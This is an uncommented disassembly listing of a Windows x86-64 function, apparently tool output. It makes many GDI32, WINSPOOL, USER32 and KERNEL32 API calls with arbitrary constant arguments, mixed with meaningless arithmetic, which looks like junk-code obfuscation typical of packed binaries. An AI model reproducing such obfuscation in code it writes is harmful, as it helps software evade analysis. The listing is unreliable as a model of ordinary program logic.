mov rcx, qword [rsp + 0x12e30]
call qword [sym.imp.GDI32.dll_PolyBezierTo]
mov dword [rsp + 0x9978], eax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b78]
and eax, 0xdff
mov word [rsp + 0x2b78], ax
jmp 0x14031e48b
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x4f3
jle 0x14031e48b
mov eax, dword [rsp + 0x9974]
mov rcx, qword [rsp + 0x12ce0]
mov qword [rsp + 0x42898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42898]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea rdx, [rsp + 0x12c18]
mov rcx, qword [rsp + 0x12c08]
call qword [sym.imp.GDI32.dll_GetMiterLimit]
mov dword [rsp + 0x99f4], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x997c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9808]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9960]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x25
mov byte [0x140363edd], al
mov qword [rsp + 0x20], 0x28
mov r9, qword [rsp + 0x42888]
mov r8, qword [rsp + 0x12c78]
mov rdx, qword [rsp + 0x12c70]
mov rcx, qword [rsp + 0x12d48]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x99b4], eax
movzx eax, byte [rsp + 0x728]
or eax, 0xcc
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x9998]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
add eax, 0x7fc
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
sub eax, 0x207
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
movzx eax, byte [rsp + 0x728]
sub eax, 0x1d
mov byte [rsp + 0x729], al
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov edx, 0x6a
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x99f4], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x40
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x997c]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
sar eax, cl
mov dword [rsp + 0x59fc], eax
movzx eax, byte [rsp + 0x728]
xor eax, 0xce
mov byte [rsp + 0x729], al
jmp case.0x14001b85d.65
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov r8d, 0x8f
mov rdx, qword [rsp + 0x12cc8]
mov rcx, qword [rsp + 0x12c50]
call qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov dword [rsp + 0x99b0], eax
movsx eax, byte [0x140363edd]
add eax, 0x5b
mov byte [rsp + 0x6f8], al
mov eax, dword [rsp + 0x9970]
movzx ecx, al
mov eax, dword [rsp + 0x9998]
shr eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9960]
movzx ecx, al
mov eax, dword [rsp + 0x9998]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
xor eax, 0x77
mov byte [0x140363edd], al
jmp case.0x14001b85d.65
lea r9, [rsp + 0x99a8]
mov r8d, 0xd9
mov edx, 0x4a
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x42890], rax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9968]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9950]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov dword [rsp + 0x60], 0x69
mov dword [rsp + 0x58], 2
lea rax, [rsp + 0x12c20]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x4a6b0]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x8a
mov dword [rsp + 0x38], 0x1f
mov dword [rsp + 0x30], 0x7e
mov dword [rsp + 0x28], 0xd4
mov dword [rsp + 0x20], 0x79
mov r9d, 0x39
mov r8d, 0x56
mov edx, 0x7a
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_StretchDIBits]
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
jmp case.0x14001b85d.65
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x9960]
movzx ecx, al
mov eax, dword [rsp + 0x9970]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9950]
movzx ecx, al
mov eax, dword [rsp + 0x59fc]
sar eax, cl
mov dword [rsp + 0x997c], eax
lea r9, [rsp + 0x12c30]
lea r8, [rsp + 0x9998]
lea rdx, [rsp + 0x12c80]
mov rcx, qword [rsp + 0x12dc0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9950]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
or eax, 0x21
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9970], eax
jmp case.0x14001b85d.65
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea rax, [rsp + 0x12c80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfb
mov r9, qword [rsp + 0x12c48]
mov r8d, 0x2b
mov edx, 0x74
mov ecx, 0x43
call qword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9970]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
jmp case.0x14001b85d.65
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x729]
add eax, 0x30
mov byte [rsp + 0x728], al
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
lea r9, [rsp + 0x12c28]
lea r8, [rsp + 0x99a8]
lea rdx, [rsp + 0x12c60]
mov rcx, qword [rsp + 0x12c50]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x9978], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x9990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
sar eax, cl
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x9970]
mov rcx, qword [rsp + 0x12ce0]
mov qword [rsp + 0x428a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x428a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
xor eax, 0x69
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9998]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov edx, 0x2c
lea rcx, [rsp + 0x12c60]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x42820], rax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x9970]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x29
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9974]
movzx ecx, al
mov eax, dword [rsp + 0x9960]
shl eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xdeb0]
add rsp, 0x6fde8
pop rdi
pop rsi
ret